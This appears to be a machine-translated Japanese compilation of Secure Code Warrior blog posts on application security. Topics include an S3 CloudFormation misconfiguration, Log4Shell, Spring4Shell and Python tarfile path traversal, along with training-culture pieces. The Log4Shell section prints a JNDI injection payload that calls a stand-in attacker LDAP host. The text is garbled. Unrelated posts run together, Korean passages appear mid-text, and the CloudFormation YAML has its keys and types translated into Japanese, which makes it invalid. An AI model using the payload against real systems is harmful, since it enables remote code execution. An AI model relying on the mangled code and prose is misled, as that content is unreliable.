セキュリティコードインサイト

今日のサイバーセキュリティに対する脅威は至る所に存在し、絶えることがありません。私たちの生活のより多くの部分がデジタル化されるにつれ、サイバー犯罪者による危険性も増大しています。保護すべきコードは膨大であり、個人データは極めて貴重です。そしてプログラムを配布した後、攻撃対象領域のあらゆる側面を追跡し防御することは、ほぼ不可能になりました。

これらの症状の一部を緩和する方法があり、その一つは賢明な組織がIaC（Infrastructure as Code）の概念を採用する際に明確に現れます。もちろん、他の開発分野と同様に、克服すべきいくつかのセキュリティ上の課題があります。また、開発者はアプリケーションをホストするための必須インフラを生成するコードを開発しているため、プロセスの全段階においてセキュリティ意識が極めて重要です。

では、クラウドサーバー環境を初めて扱う開発者が技術を習得し、コツを掴み、セキュリティ意識を高めながらビルドにアクセスする方法は、具体的にどのようなものでしょうか？一般的なIaCの脆弱性を解決するため、次期「Coders Conquer Security」シリーズを作成しました。そして、次の数回のブログでは、開発者が自身の組織にコード形式でセキュリティインフラをデプロイし始めるために取るべきステップに焦点を当てます。

始めましょうか。

アメリカ旧西部（American Old West）に伝わるある男の寓話があります。山賊が農家を狙って襲撃するという妄想症状に悩まされていた男の物語です。これを補うため、彼は非常に頑丈な玄関ドアを設置し、 窓をすべて閉め、手の届く場所に多くの銃を保管するなど、あらゆる種類の防犯対策に投資しました。ある夜、彼は裏口の施錠を忘れたため、眠っている間に結局強盗に遭ってしまいました。盗賊たちは、ただ警備員が不在になった隙を見抜き、素早くその状況を利用したのでした。

インフラにおけるセキュリティ機能の無効化もこれと似ています。ネットワークに強力なセキュリティインフラが整っていても、構成要素が無効化されてしまえばあまり役に立ちません。

本格的に始める前に、一つ挑戦してみようと思います。

上記のリンクにアクセスすると、ゲーム化された教育プラットフォームに移動します。ここで無効化されたセキュリティ機能の脆弱性を即座に解決できます。（注意：Kubernetes上で開きますが、ドロップダウンメニューを使用するとDocker、CloudFormation、Terraform、Ansibleの中から選択できます。）

お元気でしたか？まだやるべきことがある場合は、以下の内容をお読みください。

セキュリティ機能は様々な理由で無効化される場合があります。一部のアプリケーションやフレームワークではデフォルトで無効化されており、動作を開始するにはまず有効にする必要があります。また、管理者が継続的な挑戦やブロックを受けずに特定の作業をより容易に行えるよう、特定のセキュリティ機能を無効化した可能性もあります （例：AWS S3バケットを公開設定にする）。作業完了後、無効化した機能を再有効化するのを忘れる可能性があります。また、後々の作業を容易にするため、機能を無効化したままにしておくことを好む場合もあります。

無効化されたセキュリティ機能が危険な理由

セキュリティ機能を1つ以上無効化することは、いくつかの理由から推奨されません。その理由の一つは、既知のエクスプロイト、脅威、または脆弱性から保護するために、セキュリティ機能がインフラストラクチャリソースに追加されている点です。この機能を無効化すると、リソースを保護できなくなります。

攻撃者は常に簡単に悪用できる脆弱性をまず探そうとし、スクリプトを使って一般的な弱点を見つけ出すこともあります。泥棒が街中の車をすべて調べてドアが開いているか確認するのと同じです。窓を割るよりもはるかに簡単です。ハッカーは一般的なセキュリティ防御が無効になっている事実に驚くかもしれません。しかし、このような事態が発生すれば、ハッカーがこれを悪用するのに長くはかからないでしょう。

第二に、セキュリティを十分に整備しておきながら使用しないように設定すると、誤ったセキュリティ認識が生じます。管理者は、誰かがこうした防御体制を無力化したという事実を知らなければ、自分が一般的な脅威から保護されていると考える可能性があります。

攻撃者が無効化されたセキュリティ機能を悪用する可能性のある方法の例として、AWS S3のセキュリティ機能であるパブリックアクセスブロックを検討してみましょう。Amazon S3のパブリックアクセスブロックを使用すると、アカウント管理者やバケット所有者は、Amazon S3リソースへのパブリックアクセスを制限するための集中管理を簡単に設定できます。しかし、S3バケットへのアクセス時に問題が発生した一部の管理者は、作業をできるだけ早く完了させるためにバケットを公開することを決定します。セキュリティ機能を有効化するのを忘れると、攻撃者はそのS3バケットに保存された情報に完全にアクセスできるようになり、情報が漏洩するだけでなく、データ転送料による追加費用が発生します。

実際のコードを比較してみましょう。次のCloudFormationスニペットを確認してください。

脆弱:

企業バケット:
タイプ: AWS: :S3: :バケット
属性:
パブリックアクセスブロック設定:
パブリックACLブロック: false
公開ポリシーブロック: false
パブリックACL無視: false
パブリックバケット制限: false
バージョン管理設定:
状態: 有効
バケット暗号化:
サーバー側暗号化設定:
- サーバー側暗号化:
SSEアルゴリズム: “AES 256"

セキュリティ:

企業バケット:
タイプ: AWS: :S3: :バケット
プロパティ:
パブリックアクセスブロック設定:
パブリックACLブロック: true
公開ポリシーブロック: true
パブリックACL無視: true
パブリックバケット制限: true
バージョン管理設定:
状態: 有効
バケット暗号化:
サーバー側暗号化設定:
- サーバー側暗号化:
SSEアルゴリズム: “AES 256"

無効化されたセキュリティ機能の防止

無効化されたセキュリティ機能が組織に悪影響を与えないようにすることは、慣行と同様にポリシーの問題です。非常に限定的な状況でのみセキュリティ機能を無効化すべきであるという確固たるポリシーが必要です。問題を解決したりアプリケーションを更新したりするために機能を一時的に無効化する必要がある事象は記録すべきです。必要な作業を完了した後、機能が完全に再有効化されていることを確認する必要があります。

セキュリティ機能を恒久的に無効化して運用を簡素化する必要がある場合、基本保護機能が存在しない状態では、ハッカーが該当データにアクセスできないよう、影響を受けるデータに対して別の保護機能を提供しなければなりません。必要な保護機能が無効化されている場合、攻撃者が施錠されていない扉を見つけ、状況を悪用するのは時間の問題に過ぎません。

詳しく調べて、自分に挑戦してみてください。

Secure Code Warriorの詳細情報と、この脆弱性やその他のセキュリティ上の欠陥・脆弱性による被害から組織と顧客を保護する方法については、ブログページをご覧ください。

投稿をお読みいただきましたので、この脆弱性を見つけて修正する準備は整いましたか？さあ、挑戦する時です。iACゲーム化されたセキュリティチャレンジにぜひ挑戦してください。Secure Code Warrior 、あらゆるサイバーセキュリティスキルを磨き、最新の状態に保ちましょう。

このシリーズは、Infrastructure as Codeの8つの主要な脆弱性を取り上げる週次シリーズです。詳細は来週またご確認ください！

以前のブログ記事では、Javaの落とし穴について「ビット演算子とブール演算子」について説明しました。

• Java高階演算子 - ビット演算子 vs ブール演算子

私たちは「Challenge The Sensei」Sensei面白いクイズに、この問題のバリエーションと他のいくつかのJavaの落とし穴を追加しました。

• scw.Typeform.com/to/RGW7Q7OE

上記のブログ記事を読んだなら、少なくとも一つの質問に答えられるはずです。

しかし友達はそうではないかもしれません。だからクイズが面白いと思ったら友達と共有し、彼らがあなたと同じくらい高得点を取れるか確かめてみてください。

単にクイズを出したいわけではないからです。これを通じて知識を教育し体系化するために活用したいと考えています。そこで、問題に対する実行可能なコード例と解決策をまとめたGithubリポジトリを作成しました。

• GitHub.com/セキュアコードウォリアー/チャレンジ・ザ・センセイ

これは先生によってアクティブ化されたリポジトリです。

リポジトリをクローンしてIntelliJにロードする際（セキュリティコードウォリアーが存在すると仮定）、Senseiプラグインがインストールされていれば自動的に.sensei を確認し、Sensei ロードします。

IDEでコードを閲覧する際、IntelliJではコードにエラーがあるというメッセージが表示され、これによりコード内の問題をより簡単に確認できます。

• 強調表示されたコードの上にマウスを合わせると、エラーを通知するプロンプトが表示されます。
• コンテキストアクション表示キー: Alt+Enter (Windows) / Option+Enter (macOS) を使用すると、コードを修正できるクイックフィックスを利用できます。

Sensei 追加されました。

• ビット単位演算子
• IPアドレス分割
• アサルトオーダー

今後、残りのコードを扱うために、より多くのレシピと説明テキストを追加する予定です。しかし、それによってコードを調べてエラーを見つける妨げにはならないでください。

そしてクイズを解いてみるのもお忘れなく。先生に挑戦してみてください。

12月9日、JavaライブラリLog4jのゼロデイエクスプロイトが公開されました。CVE-44228、通称Log4jシェル、このエクスプロイトによりリモートコード実行が可能となるため「高深刻度」評価を受けています（RCE）。さらに、log4j-coreは最も広く使用されているJavaロギングライブラリの一つであるため、数百万のアプリケーションが危険に晒されています。

Log4Shellを扱うために必要な技術を素早くレベルアップしたいですか？

Log4Shellの基本概念から始め、Missionというシミュレーターでこの脆弱性の悪用を体験できるショーケースを作成しました。今回のミッションでは、Log4j脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかをご案内します。ショーケースに直接移動するにはこちらをクリックしてください。または、この脆弱性について詳しく知りたい場合は読み進めてください。

昔のニュース？

エクスプロイトは新しいものではありません。セキュリティ研究者たちは、2016年のブラックハット講演でアルヴァロ・ムニョスとオレクサンドル・ミロシュが既に強調していました。「アプリケーションは信頼できないデータでJNDIルックアップを実行すべきではない」と述べ、対象となるJNDI/LDAPインジェクションがどのようにリモートコード実行につながるかを説明しました。これがまさにLog4Shellの核心です。

攻撃ベクトル

Log4Shellのインジェクションペイロードは以下の通りです。

$ {indi:ldap: //attacker.host/xyz}

이를 이해하려면 자바의 표현식 언어 (EL) 에 대해 알아야 합니다.다음 구문으로 작성된 표현식: $ {expr} 런타임에 평가됩니다.예를 들어 $ {java:version} 은 사용 중인 자바 버전을 반환합니다.

次にJNDI（Java Naming and Directory Interface）があります。これは、プロトコル（LDAP、DNS、RMIなど）を使用してサービスに接続し、データやリソースを検索できるようにするAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が制御するLDAPサーバーを対象に検索を実行します。例えば、その応答は悪意のあるコードを含むJavaクラスファイルを指す可能性があり、 このファイルは脆弱なサーバー上で実行されることになります。

この脆弱性がこれほど問題視される理由は、Log4jがすべてのログエントリを評価し、「jndi」接頭辞が付いたEL構文で記述されたすべての記録されたユーザー入力を照会するためです。ペイロードは、フォームフィールドのようにユーザーがデータを入力できるあらゆる場所に挿入可能です。また、HTTPヘッダー（例：ユーザーエージェントや X-Forwarded-For、その他のヘッダー）もペイロードを送信するようにカスタマイズ可能です。

エクスプロイトを直接体験するには、ショーケースへ行き、2段階目「体験インパクト」へ進んでください。

予防：認識

Log4jの脆弱なコードはパッチが適用されているため、アップグレードはすべてのアプリケーションで推奨される措置です。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれているため、12月末からは2.17.0へのアップグレードが推奨されます。

コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にリスクが伴うことを明らかにしました。私たちは、安全だと無邪気に考えている外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があるという事実を心に留めておく必要があります。

この脆弱性を防ぐことはできたでしょうか？はい、いいえ。一方で、脆弱なコンポーネントがサードパーティ製ソフトウェアを通じて導入される場合のみ、開発者ができることは多くあります。一方で、これを通じて得られた教訓は繰り返し語られてきたものです。つまり、ユーザー入力を決して信用してはならないということです。

セキュアコードウォリアーは、セキュリティを重視する開発者がコードの脆弱性発生を防止する最善の方法であると信じています。SCWはプログラミングフレームワーク別の教育を大規模に提供するため、企業顧客はレポートデータを活用して影響を受けるJava開発者が誰であるかを迅速に把握できました。また、SCW教育を受けたセキュリティ専門家の支援により、Log4jのアップグレードを加速させました。

特にJava開発者のために、Secure Code Warriorは無料のIntelliJプラグイン「Sensei」を提供しています。このルールベースのコード分析ツールは、コーディングガイドラインを適用し、脆弱性を予防・解決するために使用できます。ルールを直接作成するか、事前に用意されたルールを利用できます。レシピ集。レシピを閲覧し、Log4jクックブックのダウンロードもお忘れなく。Log4Shell脆弱性を瞬時に発見・解決するのに役立ちます。

Log4Shellに対する防御技術をアップグレードしてください

このブログ記事で学んだ内容を実際に適用してみたいですか？ショーケースがお役に立てるかもしれません。ショーケースを開始すると、この脆弱性を素早く確認した後、ガイドされた手順に従ってエクスプロイトを試行できるシミュレーション環境へ移行します。

‍

最近、Javaコミュニティで最も人気のあるライブラリの一つであるSpringライブラリが、リモートコード実行（RCE）に関連する2つの脆弱性を公開しました。脆弱性が発生するリスクがあるかどうか、どのような対策を取るべきかを容易に理解できるよう、「Spring4Shell」と「Spring Cloud Function」に関する既知の詳細情報を分類しました。

脆弱性 1 - 「Spring4Shell」 (CVE-2022-22965)

2022年3月29日、コミュニティはSpring Core（SC）を対象としたエクスプロイトの概念実証スクリーンショットを含む一連のツイートを発見しました。これにより、最新リリース版である5.3.17を含むSpring Coreの全バージョンにおいて、リモートコード実行が可能であることが判明しました。

どのアプリケーションが危険にさらされていますか？

現在、Tomcatでホスティングされているアプリケーションのみが、この新たなエクスプロイトの危険に晒されていることが確認されています。Embedded Tomcat Servlet ContainerやTomcatでホスティングされていない他のアプリケーションに対する攻撃が成功したことは証明されていませんが、将来的にこれらのフレームワークに対する脅威が成功する可能性を排除することはできません。

スプリング公式リリース声明書における脆弱性に関する現在の理解に基づき、脆弱性として認定されるには以下の条件を満たす必要があることを明確化する脆弱性について説明します。

• JDK 9 以上
• Apache Tomcat としてのサーブレットコンテナ
• 既存のWARでパッケージ化済み（Spring Boot実行可能JARとの対比）
• Spring Web MVC または Spring WebFlux の依存関係
• Spring Framework バージョン 5.3.0～5.3.17、5.2.0～5.2.19 およびそれ以前のバージョン

「Spring4Shell」エクスプロイトはどのように動作するのですか？

悪用は、メソッドシグネチャで一般的なPOJO（Plain Old Java Object）を使用するリクエストにおいて、「データバインディング」（org.SpringFramework.web.bind.WebDataBinder）の使用に依存しています。

ここでFooクラスはPOJOクラスであり、以下のように定義できます。なお、実際のクラスはクラスローダーによってロードされる限り、重要ではありません。

このようなメソッドでリクエストを処理する際、クラスローダーはクラスの解決に使用されます。クラスローダーは、可能なすべてのタイプを事前にメモリにロードする必要なく、実行時にクラスをロードする役割を担います。新しいクラスを使用する際、ロードすべき.jarファイルを特定します。

この脆弱性に関する最新の詳細情報は、Springから直接確認できます。ブログ記事（潜在的な修正または回避策を含む）

脆弱性 2 - Spring Cloud Functions (CVE-2022-22963)

2022年3月27日、サイバーケンドラはパッチが存在しないSpring Cloud Functionsの0日リモートコード実行（RCE）脆弱性に関する詳細を公開しました。この脆弱性にはIDが割り当てられました：CVE-2022-22963: Spring Expressionリソースアクセス脆弱性。

どのアプリケーションが危険にさらされていますか？

この脆弱性は、以下の条件下でアプリケーションに影響を与えました。

• JDK 9 以上
• Spring Cloud Functions バージョン 3.1.6（またはそれ以前）、3.2.2（またはそれ以前）、またはサポートされていないバージョン

搾取はどのように行われるのですか？

Spring Cloud Functionは、開発者がspring.cloud.function.routing-expressionプロパティを通じてルーティング処理を構成できる機能を提供します。これは「Spring式言語」(SpEL)を受け入れる強力な機能です。このゼロデイ脆弱性により、リクエストのHTTPヘッダーを通じてこのプロパティを設定できることが判明しました。 つまり、攻撃者はRoutingFunctionエンドポイントへのHTTPリクエストにSpELコードを直接埋め込むことで、任意のコードを実行できる可能性があります。

リスクを軽減するために、ユーザーはどのような措置を取るべきでしょうか？

SpringHAS公開版3.1.7および3.2.3では、HTTPヘッダー経由でこの属性を設定できないようにすることで脆弱性を緩和し、この問題を解決します。いずれかのバージョンにアップグレード後は追加手順は不要です。

開発者がより安全なコードを書けるよう支援する方法について詳しく知りたいですか？デモを予約するか、当社の無料セキュリティコーディングガイドラインをご覧ください。セキュリティコードコーチ。

‍

出典

• https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/
• https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/

‍

最近、あるセキュリティ研究者チームがPythonのtarファイル抽出機能に15年も放置されていた脆弱性を発見したと発表しました。この脆弱性は2007年に初めて公開され、CVE-2007-4559として追跡されました。公式Pythonドキュメントには注記が追加されましたが、脆弱性自体は修正されていませんでした。

この脆弱性は数千ものソフトウェアプロジェクトに影響を及ぼす可能性がありますが、多くの人々は自身の置かれた状況や対処方法に慣れていません。それがまさにここにある理由です。セキュアコードウォリアーは、この脆弱性の悪用を直接シミュレートし、自ら影響を受ける機会を提供します。この永続的なバグのメカニズムを直接体験できるのです。したがって、アプリケーションをより効果的に保護できるようになります！

シミュレーションを試すミッション今すぐ。

脆弱性: tarファイル抽出時のパス探索

パスまたはディレクトリの探索は、削除されていないユーザー入力がファイルパスを構成するのに役立つ場合に発生します。これにより、攻撃者はファイルにアクセスしてファイルを上書きし、任意のコードを変更することが可能になります。

この脆弱性はPythonのtarファイルモジュールにあります。tarファイル（テープアーカイブ）は、アーカイブと呼ばれる単一のファイルです。メタデータと共に複数のファイルをまとめてパッケージ化し、一般的に次のような拡張子を持つことができます：.tar.gzまたは .tgz。アーカイブの各構成要素は次のようにできます：tar情報ファイルは、ファイル名、最終更新日時、所有権などのメタデータを含むオブジェクトです。

アーカイブを再度抽出できるため、危険性があります。

抽出時にすべてのメンバーに使用する名前が必要です。この位置はデフォルトのファイルパスを指しています。

このパスが作成されると、次のパスに渡されます。 tarファイル.extract または スターファイル.完全抽出 抽出を実行する関数:

ここでのファイル問題は、ファイル名の衛生状態が不十分であることです。攻撃者は、次のようなパス探索文字を含むようにファイル名を変更できます。ドットドットスラッシュ（../）を使用すると、元のファイルが改ざんされる可能性があります。

脆弱性を特定する方法を知っていれば、他のシナリオでも脆弱性が現れます。Pythonのtarファイル処理における脆弱性はzipファイルの抽出に関連しています。この内容は「ジッパー・スリップ脆弱性」という名称で既にご存知かもしれません。Python以外の言語でもその真価が発揮されました！

ミッションリンク 

どのようにすればリスクを軽減できるでしょうか？

<<이 취약점이 수년간 우리에게 다가왔어요. 파이썬 기능이 제대로 작동하고 있다고 생각해요. 해야 할 일.이 경우 “버그가 기능이야” 라고 말하는 사람이 없는 것입니다.안타깝게도 개발자들이 알 수 없는 곳에서 tar 또는 zip 파일을 추출하는 것을 항상 기억할 수 없습니다.보안 관행의 일환으로 경로 탐색 취약점을 지키기 위해 최선을 다하는 것은 개발자의 몫입니다.

Pythonでセキュリティコードを記述し、リスクを軽減する方法について詳しく知りたいですか？

当社のテスト製品をご覧くださいPython Challenge Free.

より多くの無料コーディングガイドラインにご興味があれば、またお越しください。セキュアコードコーチセキュリティ##プラクティスを最新の状態に保つお手伝いをします。

‍

‍

ミシャ・マルティネス (Micha Martinez) は、学資ローンおよび教育金融サービスの管理と返済を担当する米国大企業 Nelnet のサイバーセキュリティアナリストであり、撮影監督でもあります。開発者向けのセキュリティコーディング関連教育プログラムの作成を担当したとき、彼は創造的な方法でチームを参加させました。私たちは、彼がセキュリティコード教育プログラムを運営する方法に感銘を受け、彼について詳しく知るために彼に会いました。

結論は？

セキュリティ文化を醸成し、開発チーム内で「善意の力となり得る」内部セキュリティ専門家を育成してください。

「セキュリティコードに重点を置くことで、会社をより強力で安全なものにするのに役立ちました。」

Michaと彼のセキュリティチームは、Nelnetにおいて最初からセキュリティコード構築の重要性をよく理解していました。彼らは魅力的で関連性が高く、やりがいのある方法でこの目標を達成しようとしました。彼は、セキュリティコーディングに強い関心と熟練度を持つ開発者を発掘し、彼らをセキュリティチャンピオンとして育成することで、これらのチャンピオンがセキュリティ教育全般に対する考え方を変える触媒となることを発見しました。こうした個人は、P2Pレベルでより多くの支援を必要とする同僚をメンタリングし、組織内でセキュリティコードの実践の変化を実現する上でリーダーとなります。

以下は、Michaと彼のチームがセキュリティ予防に対する考え方や文化をどのように変革し、会社を「より強固で安全な」ものにしたかについての詳細です。

誇れる権利…そして脆弱性を減らすことだけです。

ミハは一般的なセキュリティ教育プログラムを実施しません。彼は競技と映画撮影の才能を活用し、トーナメントを非常に興味深く成功裏に運営します。開発者が得るものは関連性が高く実用的な知識であり、これによりより強固なセキュリティコードを作成できるようになります。

製品のセキュリティが強化され、ソフトウェアの脆弱性に対してより高いレベルの保護機能を提供するため、ビジネスにも役立ちます。ソフトウェアセキュリティの学習が、単なるチェックボックスを埋めるだけの典型的な退屈な学習体験である必要はありません。開発者は日常業務に関連しているだけでなく、没入感が高く挑戦的な教育体験を求めています。

ミカが実物のチャンピオンシップベルトとラ・レスルマニアを賞品に含むトーナメントを通じて、セキュリティコーディングトレーニングを楽しくする方法について語る様子をご覧ください。チームのセキュリティを最優先にするには、健全な競争心さえあれば十分です。

自慢できる権利を嫌う人がいるでしょうか？

‍

セキュリティコーディング中心の文化を受け入れましょう... ツールだけでは十分ではありません

ミシャは最後に、セキュアコード・ウォリアーを推奨する理由についてもう一つ考えました。プラットフォームを通じて、彼は予防的な文化を醸成し、能動的な学習を可能にしました。教育プログラムの構築にも時間をかけ、訓練と成果が優れた開発者への投資も行いました。各開発者がコーディングに対する予防的アプローチを安全に採用できる技術を育むには、革新的な文化が必要です。

セキュリティコーディング文化を受け入れることが、Secure Code Warriorとの大きな違いを生む理由について、Michaの話をさらに聞いてみましょう。

Secure Code Warriorは、開発者向けの没入感が高く魅力的なセキュリティコーディング学習プラットフォームを提供します。デモにご興味がありますか？下記からご予約ください。

私たちは、コード解析と攻撃防御をソフトウェアに直接組み込む、最新のアプリケーションセキュリティのリーダーであるContrast Security社のLarry Maccherone氏にインタビューしました。今回は、コンテクスト学習が開発者の安全なコーディングのトレーニングにどのように役立っているかについて議論しました。

今日の開発者は、明日のサイバーセキュリティの侵害を阻止するという任務を担うようになっています。コードの脆弱性に関するトレーニングは提供されているかもしれませんが、開発者の日常業務には関係のない、興味をそそらない形式で提供されていることが多いのです。開発者は、顧客のニーズに応えるためにコードを素早く書く必要があり、トレーニングなどのビジネス目標を後回しにしてしまいます。また、トレーニングが長いプレゼンテーションや学習マニュアルのように、文脈を無視して提供されている場合は、さらに難しくなり、余分な努力をするメリットを見出すことができません。 

どうすれば開発者の日常業務を妨げることなく、また好ましいツールやワークフローから遠ざけることなく、重要なセキュリティトレーニングを提供できるでしょうか。 

その答えは簡単です。コンテクスト学習を利用して、開発者の手元にトレーニングを届けるのです。次のビデオでは、この方法が開発者にとって非常に有効である理由をラリーが説明しています。

‍
開発者がコードの問題を確認するのと同時にトレーニングの機会を組み込むことで、特定された問題や脆弱性に最も関連性の高い情報を即座に受け取ることができます。さらに、トレーニングはより小さく消化しやすい塊で提供されるため、開発者は情報を保持し、将来的に脆弱なコードの使用を防止する可能性が高くなります。ラリーが言うように、「フィードバックは学習の鍵」なのです。

要するに、開発者はより多くのことを短時間で行い、安全で高品質なコードを提供する必要があるのです。そのためには、コードの脆弱性に対応したトレーニングを織り交ぜることで、開発者のワークフローや経験を最適化し、定着率を高めることが必要です。40時間のトレーニングをどのように短縮できるか、ラリーから聞いてみましょう

‍
Secure Code Warrior は、開発チームやセキュリティチームに、文脈に沿った関連性の高い学習を提供する技術統合を提供します。

デモに興味がありますか？下記よりご予約ください。 

‍

ソフトウェア開発ライフサイクル（SDLC）は一見無害に見える。これは一つのプロセスであり、私たちソフトウェア担当者は皆が力を合わせて魔法のようなことを成し遂げ、社会に欠かせないデジタル製品を世に送り出すのだ。

ただし、ソフトウェア開発プロジェクトに参加した経験があれば、それは征服すべきクエストと倒すべきドラゴンがいる困難なプロジェクトであることを理解できるでしょう。しばらくは楽しいものの、バーンアウトは現実です。ソフトウェアへの需要により、私たちは皆、最高の時期に光速で作業しています。特に開発チームはなおさらです。

さて、彼らに必ずやらなければならない別の作業が与えられたと想像してみてください。それは、彼らが関わるプロジェクト要素のセキュリティに対する責任です。これにより、最悪の場合、一部の個人にとってはカードハウスのように崩れ落ちる可能性もあります。 しかしより現実的なシナリオは、優先順位が明確でないため、より差し迫った問題が優先されることです。そして、ほとんどの開発者が安全なコーディングを教育されていない場合（特に管理者がセキュリティを優先しない場合）、頻繁なデータ漏洩、欠陥のあるアプリのリリース、膨大なバグコードによって、セキュリティ専門家たちの離反が限界点に達するのは驚くべきことではありません。

開発者にはAppSecの支援者が必要です。

上記のシナリオを見ると、コーディングプロセスにおいてセキュリティが「難しすぎる」カテゴリーに分類され、セキュリティチームに解決を委ねられる理由が理解できます。競合する締め切りが多すぎる上、十分な教育もなく、他のすべての業務を進めながらセキュリティに気を配る理由が全くないのです。しかし、この現状を維持するにはコードへの需要があまりにも大きいのです。超一流の開発者が同僚より抜きん出て、新しい技術を学び、何よりも安全なコードを作成できるチャンスがまさにここにあるのです。

しかし、ソフトウェアのセキュリティ管理は開発者の役割ではないことを覚えておく必要があります。これは依然としてAppSecチームの領域です（セキュリティに精通した開発者と協力することで、一般的なバグを繰り返し修正する代わりに、より多くの余裕を確保できます）。適切に機能するDevSecOpsプロセスでは、チーム全員がセキュリティ責任を分担するために必要な支援とツールを備えている必要があります。適切な種類のトレーニングが最良です。適切なツールセットとトレーニングのバランスを取るには、開発者と緊密に連携し、インスピレーションを与え、前向きな変化を主導しようとするAppSec専門家の洞察力が不可欠です。

破壊的なトレーニングは効果的というより煩わしいものであり、開発者に不快感を与えることは効果的ではありません。シンプルな知識に焦点を当てたIDEや課題管理ツールとの統合ソリューションが一つの代替案であり、必要なまさにその瞬間に正しい情報をユーザーに提供します。

動作原理は以下の通りです。

「万一に備えて」ではなく、適時に適切な場所で。

状況に応じた実践学習は間違いなく最も効果的な訓練方法であり、一口サイズの塊が最適なタイミングで提供されます。これを「ジャストインタイム（JIT）」教育とも呼び、セキュリティコーディングを学ぶ開発者にとって非常に有用です。

トヨタのリーン生産方式の原則であるJIT教育は、状況に応じて最も重要なタイミングで必要に応じて活性化されるよう設計されています。開発者が不適切な権限を持つように見える内容を書き込んだばかりですか？小さなバックドアが開いて攻撃者がリモートでコードを実行できるとしたらどうでしょう？開発者がConfluenceで文書を探したり、研修で扱った内容をググったりする代わりに、必要な時にすぐに知識にアクセスできれば、ずっと記憶に残りやすいでしょう。

ジャストインタイム（Just-in-Time）は「万一に備えた」学習とは正反対です。後者は知識を伝達するより一般的な方法ではありますが、効率的とは言えません。開発者がセキュリティコーディングのベストプラクティスをより容易に活用できるようにし、現在取り組んでいる主要な目標に集中し続けながら、キャリアを積むことで得られるメリットを確認する必要があります。

開発者に教育を追いかけさせないでください。

私たちはすでに労働時間が長すぎることを認識しています。では、開発者が教室に駆け込んだり、コンテキスト切り替えを経て静的な理論ベースの教育にアクセスするために5段階の手順を踏む場合、どのようなインセンティブが必要でしょうか？

データ侵害を引き起こす脆弱性の量がどれほど多くても、ほとんどの組織が何をやってもあまり効果的ではないというのが一般的な見解です。Verizonの2020年データ侵害調査報告書には次のように明記されています。データ侵害の43%はウェブ脆弱性が原因である可能性があります。開発者は効果的な教育を受けていません。 高等教育や職場内スキル向上策の一環として提供されるものでもない。ではSQLインジェクションやパストラッキングといった古典的な脆弱性はどうか。これらは重大なデータ損失に悪用されることはなく、サイバーセキュリティ技術の不足も制御不能な状態にはならないだろう。

開発者が教育を受け、セキュリティについて学んでいる現在の環境であることを理解しながらも、結果が芳しくないことに驚いたのはなぜでしょうか？Jira、GitHub、IDEといった実際に作業する空間でアクセス可能な、よりシームレスで統合され、邪魔にならない教育体験を提供することは、開発者と組織の双方にプラスの影響を与えられます。業界はもはや贅沢品ではなく、環境を進化させ、セキュリティ意識をはるかに容易にすることだけが必要なのです。

開発ワークフローを保護する準備はできていますか？

セキュリティに精通した開発者は、コード作成段階から組織に提供できる技術と保護機能によって高く評価されます。セキュリティはもはやオプションではありません。特にGDPR罰金、PCI-DSS準拠規制、NISTガバナンス...そして数百万ドル規模の集団訴訟であるEquifax事件で訴えられる可能性が高まっているためです。

統合されたアプローチは、妨げの少ない学習を通じて開発者の関心を引く触媒となり得ます。深層学習のための道筋を整備し、セキュリティ専門家を育成し、世界中のデータを安全に保護するために必要な共同責任を全体的に促進できます。

統合ツールのダウンロード（JiraとGitHub）について、ご意見をお聞かせください。

青少年セキュリティ研究者ビル・デミルカピの最近の報告書は、彼の学校で使用されていたソフトウェアにおける主要な脆弱性の暴露について、確かに懐かしい記憶を呼び起こしました。好奇心旺盛な子供だった頃、ソフトウェアのフードを上げてその下を覗き込み、どのように動作しているのかを調べた記憶があります。 そして何より、それを壊せるかどうかが重要でした。何十年もの間、ソフトウェアエンジニアは製品の継続的な改善と強化を追求し、セキュリティコミュニティは（時に少々生意気なアプローチを取ることもありますが）欠陥や潜在的な災害を発見する上で重要な役割を果たしてきました。悪意のある者がそうする前に、です。

しかしここで問題なのは、彼が発見したものに対する反応として、彼が軽い停学処分を受けたことです。そしてそれは、彼が会社（フォレット・コーポレーション）に連絡できるあらゆる手段を使い果たした後にようやく起こりました。彼はついに、自分自身と自身のシステム侵害能力を認識させるために、やや公的な爆発を選択したのです。フォレット・コーポレーションに倫理的に警告しようとする彼の繰り返しの試みは、何の返答も得られませんでした。 ソフトウェアは脆弱な状態のままであり、山積みになった学生データは暗号化されていなかったため、容易に晒される危険に晒されていた。

彼は他社製ソフトウェアであるBlackboardでもバグを発見しました。Blackboardのデータには最低限の暗号化機能は備わっていましたが、潜在的な攻撃者は数百万件のレコードにアクセスし、さらに多くのレコードを盗み出すことが可能でした。彼の学校ではこのソフトウェアとFollettの製品の両方が使用されていました。

「邪悪なハッカー」という言い方には問題があります。

デミルカピは今年の学会で自身の研究成果を発表しました。デフ・アイコン、彼のいたずらに対するさらにいたずらっぽい詳細は観客の拍手喝采を浴びています。そうです。 実際、フォレット社は当初、質の低い書籍に埋もれていた事実を認めさせるために多くの障害に直面しましたが、彼の努力に感謝し、彼の助言に従って行動したことで、最終的にソフトウェアのセキュリティを強化し、さらなるデータ漏洩の統計となる可能性のある危機を回避したと言われています。また、彼は高校卒業後、ロチェスター工科大学に進学する予定ですので、需要の高いセキュリティ専門家になるための正しい道を歩んでいることは明らかです。

セキュリティ担当者として、この状況の処理方法に異議を唱えないのは難しい。今回はすべてが順調に終わったが、当初は彼が自分の管轄外に首を突っ込む厄介な脚本小僧扱いされていた。Googleでこの事件を検索すると、彼を「ハッカー」（セキュリティの素人から見れば多くの点で悪者として扱われています）と呼ぶ記事があります。実際、彼のアプローチ（そして他の多くの人々のアプローチ）はデータを安全に保護するのに役立ちます。

好奇心旺盛で賢く、セキュリティに焦点を当てた人々が必要です。 そして、こうしたことがもっと頻繁に起こるべきです。7月現在、40億件以上のレコードが今年だけで悪意のあるデータ侵害に晒されました。8月に発生したファッション・ライフスタイルブランド「Poshmark」のセキュリティ侵害のおかげで、この数字にさらに5000万件が加わることになりました。

